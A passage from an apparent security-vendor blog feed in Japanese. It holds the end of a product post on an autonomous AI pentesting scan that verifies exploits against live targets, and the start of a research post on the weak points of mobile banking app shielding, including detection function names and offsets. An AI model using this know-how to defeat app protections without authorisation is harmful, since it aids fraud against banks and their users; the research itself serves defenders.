;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                   UNIFIED COGNITIVE ATTACK GRAPH                            &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
                                       &amp;boxv;
            &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
            ▼                          ▼                          ▼
    [Documentation]             [Mobile Binary]            [Source Code]
    - Routes &amp;amp; Endpoints        - Cryptographic signing    - Logic bypass flaws
    - Internal network IP       - Exported deep links      - Leaked secrets
            &amp;boxv;                          &amp;boxv;                          &amp;boxv;
            &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
                                       ▼
                       [Dynamic Hypothesis Engine]
                     "Can Secret A unlock API Route B?"
                     "Can SSRF C reach Internal Service D?"
                                       &amp;boxv;
            &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhu;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
            ▼                                                     ▼
     [Live Web Application]                               [Cloud Infrastructure]
     - Runtime parameter testing                          - IAM privilege evaluation
     - Live exploit verification                          - Data access proof
                                       &amp;boxv;
                                       ▼
                     [Verified Proof of Concept (PoC)]
                     Zero Hallucinations &amp;middot; 100% Signal
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="自律型のクロスアセット推論サイクル"&gt;自律型のクロスアセット推論サイクル&lt;/h3&gt;
&lt;p&gt;Multi-Asset Deep Agentic Scanは、直線的なスクリプトを実行する代わりに、提供されたすべてのアセットにまたがる反復的な認知ループを回します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エンティティと関係性の取り込み&lt;/strong&gt;：ドキュメントで発見されたあらゆるルート、モバイルアプリから逆コンパイルされた暗号アルゴリズム、Gitから解析されたコードの分岐、Webトラフィックで観測されたパラメーターが、共有のセマンティックグラフ内で相互につながったノードとしてマッピングされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;動的な仮説の構築&lt;/strong&gt;：あるアセットで新たなエビデンスが見つかると、認知エンジンはスコープ内のほかのアセットに対して能動的なセキュリティ仮説を立てます（例：&lt;em&gt;「&lt;code&gt;auth_middleware.py&lt;/code&gt;で見つかったバイパスパラメーターは、OpenAPIドキュメントで発見された稼働中の&lt;code&gt;/api/v2/user/elevate-tier&lt;/code&gt;エンドポイントで機能するか」&lt;/em&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;狙いを定めたペイロードの統合&lt;/strong&gt;：エージェントは、スキーマから得たパラメーター、バイナリから得た署名ロジック、コードから得たシークレットを組み合わせた、コンテキストを踏まえた悪用ペイロードを統合します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;稼働環境での実行と状態の検証&lt;/strong&gt;：エージェントは稼働中の実行環境に対してペイロードを送出し、レスポンスを観察し、サーバーのフィードバックに基づいて戦略を適応させます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;確定的な概念実証の提供&lt;/strong&gt;：検出結果は、稼働環境での検証に成功して初めて報告されます。これにより、最終レポートのあらゆるアラートが、再現可能で検証済みの概念実証に裏付けられていることが保証されます。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="各アセットを深くテストし、それらをまたいでつながった調査を行う"&gt;各アセットを深くテストし、それらをまたいでつながった調査を行う&lt;/h2&gt;
&lt;p&gt;Multi-Asset Deep Agentic Scanは、広範なクロスアセットのカバレッジのために、アセット固有の深さを犠牲にすることはありません。評価に含まれる各アセットは、専用のスキャナーとドメイン固有のエージェントで解析されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モバイルアプリケーション&lt;/strong&gt;：完全な静的・動的解析、バイナリの逆コンパイル、インテントの操作、暗号の監査、クライアントストレージの調査。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebアプリケーションとAPI&lt;/strong&gt;：深いステートフルなクロール、認証フローのテスト、ビジネスロジックの評価、インジェクションのテスト、OpenAPIスキーマの検証。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソースコードリポジトリ&lt;/strong&gt;：ASTレベルの制御フロー解析、汚染データの追跡、認可ロジックの監査、コミット履歴のシークレット調査。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワークとクラウドサービス&lt;/strong&gt;：サービスの列挙、境界ポリシーの検証、クラウドIAMの境界テスト。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ドキュメントと仕様&lt;/strong&gt;：OpenAPI/Swagger仕様、Postmanコレクション、アーキテクチャ図、社内のエンジニアリングドキュメントの取り込み。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhd;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhd;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; Assessment Capability   &amp;boxv; Traditional Siloed Scanners       &amp;boxv; Multi-Asset Deep Agentic Scan     &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv; Attack Surface Scope    &amp;boxv; Single asset per scan             &amp;boxv; Unified multi-asset application   &amp;boxv;
&amp;boxv; Cross-Boundary Pivots   &amp;boxv; Impossible (Strictly isolated)    &amp;boxv; Native multi-hop reasoning        &amp;boxv;
&amp;boxv; Authentication Handling &amp;boxv; Blocked by custom headers/crypto  &amp;boxv; Reverses client auth &amp;amp; signatures &amp;boxv;
&amp;boxv; Finding Validation      &amp;boxv; Theoretical alerts &amp;amp; warnings     &amp;boxv; Executable, verified PoCs         &amp;boxv;
&amp;boxv; False Positive Rate     &amp;boxv; High (Requires manual triage)     &amp;boxv; Reduced (Execution-verified)      &amp;boxv;
&amp;boxv; Context Sharing         &amp;boxv; Zero context between tools        &amp;boxv; Real-time unified cognitive graph &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhu;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhu;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="関連するアプリケーションアセットを一つのプロファイルで"&gt;関連するアプリケーションアセットを一つのプロファイルで&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="1回のスキャンで複数のアセットをスキャン" class="img-fluid" src="https://blog.ostorlab.co/static/img/26-08-26_multiasset/MultiAsset.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Multi-Asset Deep Agentic Scanには、次のものを含められます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1つのモバイルアセット&lt;/strong&gt;：アプリケーションストア（Google PlayまたはApple App Store）から選択するか、APK・AAB・IPAファイルとして直接アップロードします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebアプリケーションとWeb API&lt;/strong&gt;：認証情報またはOpenAPI/Swaggerの定義を設定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワークレンジとクラウド境界&lt;/strong&gt;：公開向けのIPレンジ、ドメイン、クラウドのエンドポイントを対象とします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードリポジトリとソースコードアーカイブ&lt;/strong&gt;：Gitリポジトリ、zipアーカイブ、プライベートリポジトリに対応します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;補足のドキュメントファイル&lt;/strong&gt;：OpenAPI/Swagger仕様、Postmanコレクション、アーキテクチャのPDF、Markdownの設計ドキュメントを含みます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;モバイル以外のアセットは、制限なく複数を評価に追加できます。提供されたすべてのアセットはスキャン設定を共有し、インテリジェンスをリアルタイムに交換し、&lt;strong&gt;一つの統合されたセキュリティレポート&lt;/strong&gt;へと集約されます。&lt;/p&gt;
&lt;p&gt;ユーザーはOstorlab Cybermodelsを選ぶか、Bring Your Own Key（BYOK）で自前のAPIキーを提供するかを選択できます。評価は、次の3つの異なる労力ティアで設定できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core&lt;/strong&gt;：CI/CDパイプラインや継続的なリリースサイクル向けの、高速で自動化されたクロスアセット検証。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advanced&lt;/strong&gt;：定期的なコンプライアンスやセキュリティ監査向けに設計された、綿密なマルチホップのエージェント型探索。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elite&lt;/strong&gt;：深い仮説探索と完全な攻撃経路の統合を伴う、網羅的な自律型レッドチーミング。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="現代のアプリケーションのための、つながったスコープ"&gt;現代のアプリケーションのための、つながったスコープ&lt;/h2&gt;
&lt;p&gt;現代のアプリケーションは、分散し、相互につながったエコシステムです。それらを守るには、ソフトウェアが実際にどう作られているか、そして攻撃者が実際にどう侵入するかを反映したセキュリティテストが必要です。&lt;/p&gt;
&lt;p&gt;Multi-Asset Deep Agentic Scanは、各アセットを深く調査し、システムのつなぎ目をまたいで手がかりをたどり、検証済みの概念実証で実際のビジネスリスクを実証する、自律的で境界をまたぐテスト機能をセキュリティチームに提供します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://report.ostorlab.co/scan/new"&gt;&lt;strong&gt;Multi-Asset Deep Agentic Scanを開始&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;し、つながったアプリケーションのエコシステムを今すぐ評価しましょう。&lt;/strong&gt;&lt;/p&gt;</content><category term="Product"/><category term="Security"/><category term="Multi-Asset"/><category term="AI"/><category term="Automation"/><category term="Deep Agentic Scan"/></entry><entry><title>モバイルアプリシールディングの回避：検知の先で強制が破綻する場所</title><link href="https://blog.ostorlab.co/ja/mobile-shielding-rasp-detection-enforcement-gap.html" rel="alternate"/><published>2026-08-12T10:20:00+02:00</published><updated>2026-08-12T10:20:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-08-12:/ja/mobile-shielding-rasp-detection-enforcement-gap.html</id><summary type="html">&lt;p&gt;検知と強制は別々のセキュリティ特性です。4つの商用シールディング製品で保護された本番環境の銀行アプリ5本を調べたところ、検知は高度でしたが、強制は脆弱でした。&lt;/p&gt;</summary><content type="html">&lt;p&gt;モバイルアプリシールディングとは、アプリケーション自体にコンパイルして組み込まれる保護機能です。RASP（実行時アプリケーション自己保護）、改ざん防止、アンチフッキング、root検知、ジェイルブレイク検知、実行時保護などの名前で販売されていますが、約束していることはいずれも同じです。root化された端末上、エミュレーター内、Fridaの制御下、デバッガーにアタッチされた状態、あるいは再パッケージ化された状態にあることにアプリが気付いたら、それを察知して対応するというものです。&lt;/p&gt;
&lt;p&gt;この約束には2つの側面があり、それぞれが独立して破綻します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検知&lt;/strong&gt;とは、何かがおかしいと判断することです。&lt;strong&gt;強制&lt;/strong&gt;とは、それに対して実際に何らかの措置を取ることです。&lt;/p&gt;
&lt;p&gt;製品がrootを完璧に検知できても、アプリケーションがその答えを無視したり、すべての答えを一つの脆弱な分岐に集約したり、攻撃者が制御する入力を信頼したりすれば、何も保護できません。&lt;/p&gt;
&lt;p&gt;当社は、AndroidとiOSで動作し、4種類の異なる商用シールディング製品を使用している本番環境の銀行アプリ5本を評価しました。検知は一貫して優れていました。破綻していたのは、一貫して強制の部分でした。&lt;/p&gt;
&lt;h2 id="最初の症状:何も伝えないように作られたクラッシュ"&gt;最初の症状：何も伝えないように作られたクラッシュ&lt;/h2&gt;
&lt;p&gt;スキャンでは、最初のアプリをテスト端末にインストールして起動しました。5秒後、プロセスは消えていました。ダイアログもエラーもなく、ログにも何も残っていません。&lt;/p&gt;
&lt;p&gt;クラッシュレポートは次のとおりです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;signal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SIGSEGV&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fault&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;
&lt;span class="n"&gt;x0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xdef040f0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x738416ae&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;x4&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x2319d258&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;x5&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xbd7d47fb&lt;/span&gt;
&lt;span class="n"&gt;x6&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;x30&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;tid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;シグナル11は&lt;code&gt;SIGSEGV&lt;/code&gt;、つまりセグメンテーション違反です。プロセスが、カーネルの拒否するかたちでメモリにアクセスしたことを意味します。ここまではよくある話です。異常なのはレジスタダンプです。&lt;/p&gt;
&lt;p&gt;ARM64では、&lt;code&gt;pc&lt;/code&gt;はプログラムカウンターで、実行中の命令のアドレスを指します。&lt;code&gt;sp&lt;/code&gt;はスタックポインターで、コールスタックの基点となります。&lt;code&gt;x0&lt;/code&gt;から&lt;code&gt;x30&lt;/code&gt;は汎用レジスタで、引数、戻り値、ローカル変数を保持します。本物のクラッシュではこれらの値が残るため、クラッシュレポートが役に立ちます。プログラムカウンターは障害を起こした命令を示し、スタックポインターを使えばデバッガーで呼び出し元をさかのぼれるからです。&lt;/p&gt;
&lt;p&gt;ところが、ここではそのすべてがゼロになっています。調べるべき障害命令も、巻き戻すべきスタックもありません。唯一のバックトレースフレームは&lt;code&gt;#00 pc 0x0 &amp;lt;unknown&amp;gt;&lt;/code&gt;です。&lt;/p&gt;
&lt;p&gt;何かが、プロセスを終了させる前に意図的にレジスタファイルを消去したのです。レポートに記載されたスレッド&lt;code&gt;Thread-7x&lt;/code&gt;は汎用のワーカーで、この判定とは何の関係もありません。また、&lt;code&gt;0xdef040f0&lt;/code&gt;はこのプラットフォームではあり得ないポインター値で、保護コードが残したマーカーのように振る舞っています。&lt;/p&gt;
&lt;p&gt;これは、堅牢化されたアプリでよく見られるパターンです。アプリは判定結果を知らせる代わりに、終了する際にフォレンジック上のエビデンスを破棄します。そのため、解析者はどのチェックが作動したのかも、それがどこにあるのかも知ることができません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ベースラインのクラッシュを示す評価のエビデンスページ。すべての汎用レジスタがゼロにされ、利用可能なバックトレースがない" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-12_mobile-shielding-rasp/poison-crash-before-after.png" title="図1：アプリが残すクラッシュ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図1：アプリが残すクラッシュ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;すべての汎用レジスタがゼロで、バックトレースは不明なフレームが一つだけです。&lt;/p&gt;
&lt;h2 id="これらの製品が実際に監視しているもの"&gt;これらの製品が実際に監視しているもの&lt;/h2&gt;
&lt;p&gt;最初の作業は棚卸しです。この仕組みは何をチェックしているのでしょうか。&lt;/p&gt;
&lt;p&gt;静的解析では、約30のネイティブ検知関数が見つかりました。いずれも、ロード時に単一のJavaクラスに登録されています。&lt;/p&gt;
&lt;p&gt;この点は、見た目以上に重要です。AndroidアプリはJNI（Java Native Interface）を通じてネイティブのCやC++のコードにアクセスします。ネイティブライブラリが関数をJavaに公開する方法は2つあります。一つは、&lt;code&gt;Java_com_example_Foo_bar&lt;/code&gt;のようなマングルされた名前でシンボルをエクスポートする方法で、ライブラリに対して&lt;code&gt;nm&lt;/code&gt;を実行すれば誰でも確認できます。もう一つは、&lt;code&gt;JNI_OnLoad&lt;/code&gt;の中で&lt;code&gt;RegisterNatives&lt;/code&gt;を呼び出し、実行時にメソッドを動的にバインドする方法です。&lt;/p&gt;
&lt;p&gt;このライブラリは後者の方法を使っているため、検知関数の名前はどれもエクスポートされたシンボルとして現れません。見つけるには、登録テーブルを読むか、実行時にプロセスを観察する必要があります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;JNI_OnLoad              @ 0x424264
checkHooks              @ 0x424e50     scans the process memory map
checkForFridaAgent      @ 0x424c38
isSuExists              @ 0x424940
isFoundMagisk           @ 0x425a90
isFoundDangerousProps   @ 0x424810
isPermissiveSelinux     @ 0x4248e8
getNativeSignature      @ 0x42ca00     hashes the signing certificate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ここには4つのカテゴリが含まれており、それぞれが異なる問いに答えます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;root検知&lt;/strong&gt;は、端末が昇格した権限を与えている証拠を探します。ディスク上の&lt;code&gt;su&lt;/code&gt;バイナリ、Magiskの痕跡、書き込み可能なシステムパス、permissiveなSELinux、rootマネージャーのパッケージなどです。rootが重要なのは、攻撃者がアプリのプライベートストレージを読み取り、プロセスにアタッチし、その実行時の状態を改変できるようになるからです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;フッキング検知&lt;/strong&gt;は、実行時に関数の振る舞いを書き換えるフレームワークを探します。Frida、Xposed、LSPosed、Zygisk、Substrate、SandHook、Taichi、VirtualXposedなどです。フックを使えば、ディスク上のAPKに手を加えることなく関数の戻り値を変更できます。クライアント側のセキュリティチェックが破られるのは、まさにこの方法によってです。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;checkHooks&lt;/code&gt;は&lt;code&gt;/proc/self/maps&lt;/code&gt;を読み取ります。LinuxとAndroidでは、このファイルには現在のプロセスにマッピングされたすべてのメモリ領域が、その権限と元になるファイルとともに一覧表示されます。そこに外部のライブラリや匿名の実行可能領域が現れれば、アプリは自分が計装されていると推測できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;署名検証&lt;/strong&gt;は&lt;code&gt;getNativeSignature&lt;/code&gt;が担い、実行時にアプリの署名証明書のハッシュを計算します。Androidでは、すべてのAPKに署名が必要です。アプリを改変して再パッケージ化する攻撃者は、通常は別の鍵で再署名しなければなりません。そのため、実行時の証明書を想定されるハッシュと比較すれば、単純な再パッケージ化を検知できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;危険なプロパティの検知&lt;/strong&gt;は、Androidのシステムプロパティを読み取ります。システムプロパティとは、OSがビルドや端末の構成を公開するために使うキーと値のペアで、&lt;code&gt;ro.build.tags&lt;/code&gt;、&lt;code&gt;ro.debuggable&lt;/code&gt;、&lt;code&gt;ro.secure&lt;/code&gt;、&lt;code&gt;ro.hardware&lt;/code&gt;、&lt;code&gt;ro.product.model&lt;/code&gt;などがあります。エミュレーターのイメージやエンジニアリングビルドは、ここに見分けのつく値を残します。&lt;/p&gt;
&lt;p&gt;この有償製品の下には、無関係なベンダーによる制御がさらに3つ存在します。無料のオープンソースライブラリによる2つ目のrootチェック、アプリ自体のコンパイル済みDartコード内にある3つ目のrootチェック、そして4つ目のベンダーによるテレメトリです。マニフェストには&lt;code&gt;&amp;lt;queries&amp;gt;&lt;/code&gt;エントリまで宣言されており、パッケージマネージャーがsu、Magisk、KingRootのパッケージに関する問い合わせに応答するようになっています。&lt;/p&gt;
&lt;p&gt;一つのアプリに4つの独立した制御があり、同じ端末について4つの独立した見解を持っているわけです。このことは最後に重要になります。&lt;/p&gt;
&lt;p&gt;これは表面的な実装ではありません。弱点は検知が欠けていることではなく、アプリが何を信頼し、得られた答えをどう扱うかにあります。&lt;/p&gt;
&lt;h2 id="チェックを読み解くアプローチが通用しない理由"&gt;チェックを読み解くアプローチが通用しない理由&lt;/h2&gt;
&lt;p&gt;解析者とこのロジックの間には3つの層があり、そのすべてがきちんと役割を果たしています。&lt;/p&gt;
